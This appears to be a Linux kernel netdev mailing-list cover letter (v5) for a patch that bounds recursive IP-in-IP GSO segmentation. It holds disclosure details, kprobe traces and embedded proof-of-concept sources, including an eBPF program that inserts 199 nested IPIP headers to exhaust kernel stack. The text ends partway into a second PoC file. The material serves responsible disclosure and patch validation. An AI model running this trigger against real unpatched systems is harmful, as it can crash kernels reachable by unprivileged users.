From: Zihan Xi <zihanx@nebusec.ai>
To: davem@davemloft.net, edumazet@google.com, kuba@kernel.org,
pabeni@redhat.com, dsahern@kernel.org, idosch@nvidia.com
Cc: zihanx@nebusec.ai, horms@kernel.org, kees@kernel.org,
willemb@google.com, kuniyu@google.com, richardbgobert@gmail.com,
netdev@vger.kernel.org, linux-kernel@vger.kernel.org
Subject: [PATCH net v5 0/1] net: gso: limit recursive IP-in-IP segmentation
Date: Wed, 23 Sep 2026 14:01:45 +0000 [thread overview]
Message-ID: <cover.1790157745.git.zihanx@nebusec.ai> (raw)
Hi Linux kernel maintainers,
We found and validated an issue in net/core/gso.c and the IPv4/IPv6 GSO
handlers in net/ipv4/af_inet.c and net/ipv6/ip6_offload.c. The affected
path starts at skb_mac_gso_segment() and can re-enter either IP handler
for nested IP-in-IP headers. The bug is reachable by a non-root user
through user and network namespaces. The BPF/veth reproducer needs root
in the initial user namespace; the namespace-only reproducer starts as
UID 65534. We expect unrelated GSO behavior to remain unchanged.
Fixed-kernel validation covered both IPv4 trigger paths and the recursion
boundary on x86_64; IPv6 runtime testing was not run.
Changes in v5:
- Replace the header-offset budget with a shared IP GSO handler-entry
counter; entries one through five pass and entry six is rejected.
- Initialize the count for each top-level GSO operation and preserve it
across IPv4/IPv6 dispatch and GRE/UDP context changes.
- Use the existing IP_TUNNEL_RECURSION_LIMIT value of five as a
practical bound and trace the sixth-entry rejection on x86_64.
- Rerun both IPv4 PoCs on the final revision; avoid rejecting a
single-level tunnel based only on header length.
- v4 Link: https://lore.kernel.org/all/cover.1790041241.git.zihanx@nebusec.ai/
Changes in v4:
- Keep the budget check only at the two IP GSO handler entries; remove
the common callback wrapper and other GSO call-site checks.
- Reuse skb_gso_cb->mac_offset and current skb headroom as the
cumulative header-offset budget.
- v3 Link: https://lore.kernel.org/all/cover.1789802623.git.zihanx@nebusec.ai/
Changes in v3:
- Treat an exhausted 256-byte budget as a callback-entry failure,
including the zero-length check used by the common callback wrapper.
- v2 Link: https://lore.kernel.org/all/cover.1789618203.git.zihanx@nebusec.ai/
Changes in v2:
- Replace the callback counter with a cumulative 256-byte header budget
carried in skb_gso_cb.
- Apply the budget at common callback entry and across IP, GRE, UDP,
MPLS, NSH, ESP, and IPv6 extension dispatch, including context resets.
- Rebase the UDP hunk and rerun both IPv4 PoCs; use decoded crash
evidence from unpatched 88c17de85ddb.
- v1 Link: https://lore.kernel.org/all/cover.1789302084.git.zihanx@nebusec.ai/
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
An IP-in-IP GSO packet reaches skb_mac_gso_segment() and re-enters the
IPv4 or IPv6 GSO handler for each nested IP header. The encap_level
records header bytes for the current encapsulation state, but it does not
bound callback depth. A deep chain can exhaust the kernel stack before a
transport GSO callback is reached.
The v4 header-offset budget used skb_gso_cb->mac_offset and current
headroom. That value includes headers pulled by other GSO handlers, so a
large but valid single-level tunnel or IPv6 extension header could consume
the budget before a recursive IP handler was reached.
This version counts entries into the IPv4 and IPv6 GSO handlers instead.
The counter is initialized once for each top-level GSO operation, shared
by both address families, and is not reset by GRE or UDP context changes.
Five entries pass the guard. The sixth handler entry returns -EINVAL
without dispatching another GSO callback. Other GSO callback entry points,
including NSH recursion, are outside this change.
The IPv4 root cause is the stackable inet_gso_segment() change named by the
Fixes trailer. The IPv6 stackable path was introduced separately; the same
counter is applied to both handlers, while Fixes remains tied to IPv4.
Reproducer:
Save the embedded files in one directory on the guest. For the BPF/veth
path, run these commands as root from that directory:
make clean all
./poc.sh
The embedded Makefile builds poc and tc_mutate.bpf.o. With KDIR unset,
the BPF command is:
clang -O2 -g -target bpf -D__TARGET_ARCH_x86 -Wall -Wextra \
-I/usr/include/x86_64-linux-gnu \
-DINSERTED_IPS=199 -DTRIGGER_PORT=4242 \
-c tc_mutate.bpf.c -o tc_mutate.bpf.o
In the BPF/veth run, Python 3 was unavailable, so poc.sh used the
included Perl listener:
ip netns exec "$NS" "$DIR/net-server-perl.sh" &
From that directory, the namespace-only setup and launcher were run as root:
apt-get update
DEBIAN_FRONTEND=noninteractive apt-get install -y ethtool
cc -O2 -static -g -Wall -Wextra -o poc_privilege_optimized poc_privilege_optimized.c
mkdir -p /tmp/q7x-ns
cp poc_privilege_optimized poc_privilege_optimized.sh /tmp/q7x-ns/
chmod 755 /tmp/q7x-ns /tmp/q7x-ns/poc_privilege_optimized /tmp/q7x-ns/poc_privilege_optimized.sh
su -s /bin/sh nobody -c 'cd /tmp/q7x-ns && exec ./poc_privilege_optimized.sh 180 1400'
The setup commands run as root in the guest; the final command starts the
trigger as UID 65534. The private user namespace maps it to UID 0 inside.
Packetdrill is not used because the trigger needs network namespaces,
IPIP devices, tc egress BPF header insertion, and UDP_SEGMENT control data,
which cannot be expressed as a packetdrill packet sequence.
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
Code validation used revision:
3d6ea14198316c7f268bd924414899b2f8cd03d5
It passed the bzImage build (BUILD_RC=0) and embedded Makefile build
(POC_BUILD_RC=0). This patch changes only commit text and mail metadata;
the fixed-kernel results below use that same code diff:
- BPF/veth: UID 0 in the initial user namespace; sent 65536 bytes;
REMOTE_RC=0 and DMESG_RC=0. poc.sh used the Perl listener.
- Namespace-only: launched as UID 65534 and mapped to UID 0 inside the
user namespace; sendmsg() returned 3676; REMOTE_RC=0 and DMESG_RC=0.
- tracefs: the 199-header reproducer entered inet_gso_segment() six
times. The sixth entry returned ERR_PTR(-EINVAL), which propagated
through the callers. No stack-guard fault was observed.
Full raw tracefs output from the fixed-kernel run:
KPROBE_EVENTS_BEGIN
p:kprobes/q7x4 inet_gso_segment
p:kprobes/q7x6 ipv6_gso_segment
r10:kprobes/q7x4ret inet_gso_segment ret=$retval
r10:kprobes/q7x6ret ipv6_gso_segment ret=$retval
KPROBE_EVENTS_END
TRACE_OUTPUT_BEGIN
<...>-437 [001] b.... 13.168387: q7x4: (inet_gso_segment+0x4/0x3e0)
<...>-437 [001] b.... 13.168395: q7x4: (inet_gso_segment+0x4/0x3e0)
<...>-437 [001] b.... 13.168395: q7x4: (inet_gso_segment+0x4/0x3e0)
<...>-437 [001] b.... 13.168395: q7x4: (inet_gso_segment+0x4/0x3e0)
<...>-437 [001] b.... 13.168395: q7x4: (inet_gso_segment+0x4/0x3e0)
<...>-437 [001] b.... 13.168395: q7x4: (inet_gso_segment+0x4/0x3e0)
<...>-437 [001] b.... 13.168396: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<...>-437 [001] b.... 13.168396: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<...>-437 [001] b.... 13.168396: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<...>-437 [001] b.... 13.168396: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<...>-437 [001] b.... 13.168397: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<...>-437 [001] b.... 13.168397: q7x4ret: (skb_mac_gso_segment+0x9e/0x110 <- inet_gso_segment) ret=0xffffffffffffffea
<...>-437 [001] b.... 13.168411: q7x4: (inet_gso_segment+0x4/0x3e0)
<...>-437 [001] b.... 13.168411: q7x4: (inet_gso_segment+0x4/0x3e0)
<...>-437 [001] b.... 13.168411: q7x4: (inet_gso_segment+0x4/0x3e0)
<...>-437 [001] b.... 13.168411: q7x4: (inet_gso_segment+0x4/0x3e0)
<...>-437 [001] b.... 13.168412: q7x4: (inet_gso_segment+0x4/0x3e0)
<...>-437 [001] b.... 13.168412: q7x4: (inet_gso_segment+0x4/0x3e0)
<...>-437 [001] b.... 13.168412: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<...>-437 [001] b.... 13.168412: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<...>-437 [001] b.... 13.168412: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<...>-437 [001] b.... 13.168412: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<...>-437 [001] b.... 13.168412: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<...>-437 [001] b.... 13.168412: q7x4ret: (skb_mac_gso_segment+0x9e/0x110 <- inet_gso_segment) ret=0xffffffffffffffea
pr/ttyS0-15 [001] bNs1. 13.182068: q7x4: (inet_gso_segment+0x4/0x3e0)
pr/ttyS0-15 [001] bNs1. 13.182083: q7x4: (inet_gso_segment+0x4/0x3e0)
pr/ttyS0-15 [001] bNs1. 13.182083: q7x4: (inet_gso_segment+0x4/0x3e0)
pr/ttyS0-15 [001] bNs1. 13.182083: q7x4: (inet_gso_segment+0x4/0x3e0)
pr/ttyS0-15 [001] bNs1. 13.182083: q7x4: (inet_gso_segment+0x4/0x3e0)
pr/ttyS0-15 [001] bNs1. 13.182083: q7x4: (inet_gso_segment+0x4/0x3e0)
pr/ttyS0-15 [001] bNs1. 13.182084: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
pr/ttyS0-15 [001] bNs1. 13.182084: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
pr/ttyS0-15 [001] bNs1. 13.182084: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
pr/ttyS0-15 [001] bNs1. 13.182084: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
pr/ttyS0-15 [001] bNs1. 13.182084: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
pr/ttyS0-15 [001] bNs1. 13.182085: q7x4ret: (skb_mac_gso_segment+0x9e/0x110 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.388909: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.388950: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.388950: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.388950: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.388950: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.388950: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.388951: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.388951: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.388951: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.388951: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.388952: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.388952: q7x4ret: (skb_mac_gso_segment+0x9e/0x110 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.388970: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.388970: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.388970: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.388970: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.388970: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.388970: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.388970: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.388970: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.388970: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.388971: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.388971: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.388971: q7x4ret: (skb_mac_gso_segment+0x9e/0x110 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.597128: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.597162: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.597162: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.597162: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.597162: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.597163: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.597163: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.597164: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.597164: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.597164: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.597164: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.597164: q7x4ret: (skb_mac_gso_segment+0x9e/0x110 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.804837: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.804863: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.804863: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.804863: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.804863: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.804863: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.804864: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.804864: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.804864: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.804864: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.804864: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.804865: q7x4ret: (skb_mac_gso_segment+0x9e/0x110 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.804878: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.804878: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.804878: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.804878: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.804878: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.804878: q7x4: (inet_gso_segment+0x4/0x3e0)
<idle>-0 [000] bNs2. 13.804878: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.804879: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.804879: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.804879: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.804879: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
<idle>-0 [000] bNs2. 13.804879: q7x4ret: (skb_mac_gso_segment+0x9e/0x110 <- inet_gso_segment) ret=0xffffffffffffffea
perl-435 [000] b.s2. 13.808878: q7x4: (inet_gso_segment+0x4/0x3e0)
perl-435 [000] b.s2. 13.808903: q7x4: (inet_gso_segment+0x4/0x3e0)
perl-435 [000] b.s2. 13.808903: q7x4: (inet_gso_segment+0x4/0x3e0)
perl-435 [000] b.s2. 13.808903: q7x4: (inet_gso_segment+0x4/0x3e0)
perl-435 [000] b.s2. 13.808903: q7x4: (inet_gso_segment+0x4/0x3e0)
perl-435 [000] b.s2. 13.808903: q7x4: (inet_gso_segment+0x4/0x3e0)
perl-435 [000] b.s2. 13.808904: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
perl-435 [000] b.s2. 13.808904: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
perl-435 [000] b.s2. 13.808904: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
perl-435 [000] b.s2. 13.808904: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
perl-435 [000] b.s2. 13.808904: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
perl-435 [000] b.s2. 13.808905: q7x4ret: (skb_mac_gso_segment+0x9e/0x110 <- inet_gso_segment) ret=0xffffffffffffffea
perl-435 [000] b.s2. 13.808918: q7x4: (inet_gso_segment+0x4/0x3e0)
perl-435 [000] b.s2. 13.808918: q7x4: (inet_gso_segment+0x4/0x3e0)
perl-435 [000] b.s2. 13.808918: q7x4: (inet_gso_segment+0x4/0x3e0)
perl-435 [000] b.s2. 13.808918: q7x4: (inet_gso_segment+0x4/0x3e0)
perl-435 [000] b.s2. 13.808918: q7x4: (inet_gso_segment+0x4/0x3e0)
perl-435 [000] b.s2. 13.808919: q7x4: (inet_gso_segment+0x4/0x3e0)
perl-435 [000] b.s2. 13.808919: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
perl-435 [000] b.s2. 13.808919: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
perl-435 [000] b.s2. 13.808919: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
perl-435 [000] b.s2. 13.808919: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
perl-435 [000] b.s2. 13.808919: q7x4ret: (inet_gso_segment+0x152/0x3e0 <- inet_gso_segment) ret=0xffffffffffffffea
perl-435 [000] b.s2. 13.808919: q7x4ret: (skb_mac_gso_segment+0x9e/0x110 <- inet_gso_segment) ret=0xffffffffffffffea
TRACE_OUTPUT_END
The recorded return value 0xffffffffffffffea is -22 (-EINVAL).
REMOTE_RC=0 means the remote trigger command exited successfully; 124
would indicate that its timeout expired. These runs exercised IPv4 only.
The trace validates this x86_64 configuration, not an architecture-wide
stack margin.
The complete source files used by both paths are embedded below: poc.c,
poc.sh, tc_mutate.bpf.c, net-server-perl.sh, poc_privilege_optimized.c,
poc_privilege_optimized.sh, and Makefile.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
static void usage(const char *prog)
{
fprintf(stderr, "Usage: %s <ip> <port> <bytes>\n", prog);
}
int main(int argc, char **argv)
{
struct sockaddr_in addr;
char *buf;
unsigned long port;
unsigned long total;
size_t off = 0;
int one = 1;
int fd;
if (argc != 4) {
usage(argv[0]);
return 1;
}
port = strtoul(argv[2], NULL, 0);
total = strtoul(argv[3], NULL, 0);
if (port > 65535 || total == 0) {
fprintf(stderr, "invalid port or byte count\n");
return 1;
}
buf = malloc(total);
if (!buf) {
perror("malloc");
return 1;
}
for (off = 0; off < total; off++)
buf[off] = 'A' + (off % 23);
fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd < 0) {
perror("socket");
free(buf);
return 1;
}
if (setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one)) < 0) {
perror("setsockopt(TCP_NODELAY)");
close(fd);
free(buf);
return 1;
}
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons((uint16_t)port);
if (inet_pton(AF_INET, argv[1], &addr.sin_addr) != 1) {
fprintf(stderr, "invalid IPv4 address\n");
close(fd);
free(buf);
return 1;
}
if (connect(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
perror("connect");
close(fd);
free(buf);
return 1;
}
off = 0;
while (off < total) {
ssize_t n = send(fd, buf + off, total - off, 0);
if (n < 0) {
perror("send");
close(fd);
free(buf);
return 1;
}
off += (size_t)n;
}
fprintf(stderr, "sent %lu bytes to %s:%lu\n", total, argv[1], port);
close(fd);
free(buf);
return 0;
}
------END poc.c--------
------BEGIN poc.sh------
#!/bin/sh
set -eu
DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
NS=${NS:-q7xns}
OUTER_DEV0=${OUTER_DEV0:-q7xveth0}
OUTER_DEV1=${OUTER_DEV1:-q7xveth1}
OUTER0=${OUTER0:-10.10.0.1/24}
OUTER1=${OUTER1:-10.10.0.2/24}
OUTER0_IP=${OUTER0_IP:-10.10.0.1}
OUTER1_IP=${OUTER1_IP:-10.10.0.2}
TUN0=${TUN0:-q7xipip0}
TUN1=${TUN1:-q7xipip1}
INNER0_IP=${INNER0_IP:-198.18.0.1}
INNER1_IP=${INNER1_IP:-198.18.0.2}
TARGET_IP=${TARGET_IP:-198.18.0.2}
PORT=${PORT:-4242}
SEND_BYTES=${SEND_BYTES:-65536}
SERVER_PIDFILE=/tmp/q7x-server.pid
cleanup() {
tc qdisc del dev "$OUTER_DEV0" clsact 2>/dev/null || true
ip link del "$TUN0" 2>/dev/null || true
ip netns del "$NS" 2>/dev/null || true
ip link del "$OUTER_DEV0" 2>/dev/null || true
rm -f "$SERVER_PIDFILE"
}
trap cleanup EXIT
gcc -O2 -Wall -Wextra -o "$DIR/poc" "$DIR/poc.c"
if [ ! -f "$DIR/tc_mutate.bpf.o" ]; then
echo "missing tc_mutate.bpf.o; build it on the host with: make -C $DIR" >&2
exit 1
fi
cleanup
ip netns add "$NS"
ip link add "$OUTER_DEV0" type veth peer name "$OUTER_DEV1"
ip link set "$OUTER_DEV1" netns "$NS"
ip addr add "$OUTER0" dev "$OUTER_DEV0"
ip link set "$OUTER_DEV0" up
ip netns exec "$NS" ip addr add "$OUTER1" dev "$OUTER_DEV1"
ip netns exec "$NS" ip link set lo up
ip netns exec "$NS" ip link set "$OUTER_DEV1" up
ethtool -K "$OUTER_DEV0" tso off gso off gro off sg off >/dev/null 2>&1 || true
ip link add "$TUN0" type ipip local "$OUTER0_IP" remote "$OUTER1_IP" dev "$OUTER_DEV0"
ip addr add "$INNER0_IP" peer "$INNER1_IP" dev "$TUN0"
ip link set "$TUN0" up
ip netns exec "$NS" ip link add "$TUN1" type ipip local "$OUTER1_IP" remote "$OUTER0_IP" dev "$OUTER_DEV1"
ip netns exec "$NS" ip addr add "$INNER1_IP" peer "$INNER0_IP" dev "$TUN1"
ip netns exec "$NS" ip link set "$TUN1" up
tc qdisc add dev "$OUTER_DEV0" clsact
tc filter add dev "$OUTER_DEV0" egress bpf da obj "$DIR/tc_mutate.bpf.o" sec tc
if command -v python3 >/dev/null 2>&1; then
ip netns exec "$NS" python3 - <<'PY' &
import socket
import sys
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("198.18.0.2", 4242))
s.listen(1)
conn, _ = s.accept()
while conn.recv(65535):
pass
PY
else
echo "using Perl listener: $DIR/net-server-perl.sh" >&2
ip netns exec "$NS" "$DIR/net-server-perl.sh" &
fi
echo $! > "$SERVER_PIDFILE"
sleep 1
"$DIR/poc" "$TARGET_IP" "$PORT" "$SEND_BYTES"
sleep 2
------END poc.sh--------
------BEGIN tc_mutate.bpf.c------
#include <linux/bpf.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/pkt_cls.h>
#include <linux/tcp.h>
#include <stddef.h>
#ifndef INSERTED_IPS
#define INSERTED_IPS 199
#endif
#ifndef TRIGGER_PORT
#define TRIGGER_PORT 4242
#endif
#ifndef IP_DF
#define IP_DF 0x4000
#endif
#ifndef IPPROTO_IPIP
#define IPPROTO_IPIP 4
#endif
#ifndef IPPROTO_TCP
#define IPPROTO_TCP 6
#endif
#define SEC(NAME) __attribute__((section(NAME), used))
#define bpf_htons(x) ((__be16)__builtin_bswap16((__u16)(x)))
#define bpf_ntohs(x) ((__u16)__builtin_bswap16((__u16)(x)))
#define bpf_htonl(x) ((__be32)__builtin_bswap32((__u32)(x)))
#define INSERTED_LEN (INSERTED_IPS * (__u32)sizeof(struct iphdr))
static long (*bpf_skb_load_bytes)(struct __sk_buff *skb, __u32 off,
void *to, __u32 len) =
(void *)BPF_FUNC_skb_load_bytes;
static long (*bpf_skb_adjust_room)(struct __sk_buff *skb, __s32 len_diff,
__u32 mode, __u64 flags) =
(void *)BPF_FUNC_skb_adjust_room;
static long (*bpf_skb_store_bytes)(struct __sk_buff *skb, __u32 off,
const void *from, __u32 len,
__u64 flags) =
(void *)BPF_FUNC_skb_store_bytes;
static long (*bpf_l3_csum_replace)(struct __sk_buff *skb, __u32 off,
__u64 from, __u64 to, __u64 size) =
(void *)BPF_FUNC_l3_csum_replace;
static __always_inline int load_bytes(struct __sk_buff *skb, __u32 off,
void *dst, __u32 len)
{
return bpf_skb_load_bytes(skb, off, dst, len);
}
SEC("tc")
int mutate_gso_chain(struct __sk_buff *skb)
{
struct iphdr outer;
struct iphdr inner;
struct tcphdr th;
__u32 off = sizeof(struct ethhdr);
__u32 ins_off = off + sizeof(struct iphdr);
__u16 new_tot;
int i;
if (skb->protocol != bpf_htons(ETH_P_IP))
return TC_ACT_OK;
if (skb->len < 2000)
return TC_ACT_OK;
if (load_bytes(skb, off, &outer, sizeof(outer)) < 0)
return TC_ACT_OK;
if (outer.version != 4 || outer.ihl != 5 || outer.protocol != IPPROTO_IPIP)
return TC_ACT_OK;
if (load_bytes(skb, ins_off, &inner, sizeof(inner)) < 0)
return TC_ACT_OK;
if (inner.version != 4 || inner.ihl != 5 || inner.protocol != IPPROTO_TCP)
return TC_ACT_OK;
if (load_bytes(skb, ins_off + sizeof(inner), &th, sizeof(th)) < 0)
return TC_ACT_OK;
if (th.dest != bpf_htons(TRIGGER_PORT))
return TC_ACT_OK;
if (bpf_skb_adjust_room(skb, INSERTED_LEN, BPF_ADJ_ROOM_NET,
BPF_F_ADJ_ROOM_FIXED_GSO |
BPF_F_ADJ_ROOM_NO_CSUM_RESET) < 0)
return TC_ACT_SHOT;
new_tot = bpf_htons(bpf_ntohs(outer.tot_len) + INSERTED_LEN);
bpf_l3_csum_replace(skb, off + offsetof(struct iphdr, check),
outer.tot_len, new_tot, sizeof(new_tot));
bpf_skb_store_bytes(skb, off + offsetof(struct iphdr, tot_len),
&new_tot, sizeof(new_tot), 0);
for (i = 0; i < INSERTED_IPS; i++) {
struct iphdr iph = {};
iph.version = 4;
iph.ihl = 5;
iph.ttl = 64;
iph.protocol = IPPROTO_IPIP;
iph.frag_off = bpf_htons(IP_DF);
iph.id = bpf_htons((__u16)(i + 1));
iph.saddr = bpf_htonl(0x0a010001u + (__u32)i);
iph.daddr = bpf_htonl(0x0a020001u + (__u32)i);
if (bpf_skb_store_bytes(skb,
ins_off + ((__u32)i * sizeof(struct iphdr)),
&iph, sizeof(iph), 0) < 0)
return TC_ACT_SHOT;
}
return TC_ACT_OK;
}
char _license[] SEC("license") = "GPL";
------END tc_mutate.bpf.c--------
------BEGIN net-server-perl.sh------
#!/bin/sh
exec perl -MIO::Socket::INET -e 'my $s = IO::Socket::INET->new(LocalAddr => "198.18.0.2", LocalPort => 4242, Listen => 1, ReuseAddr => 1) or die "server: $!\n"; my $c = $s->accept() or die "accept: $!\n"; my $buf; while (read($c, $buf, 65536)) {}'
------END net-server-perl.sh--------
------BEGIN poc_privilege_optimized.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/udp.h>
#include <netinet/in.h>
#include <stdint.h>
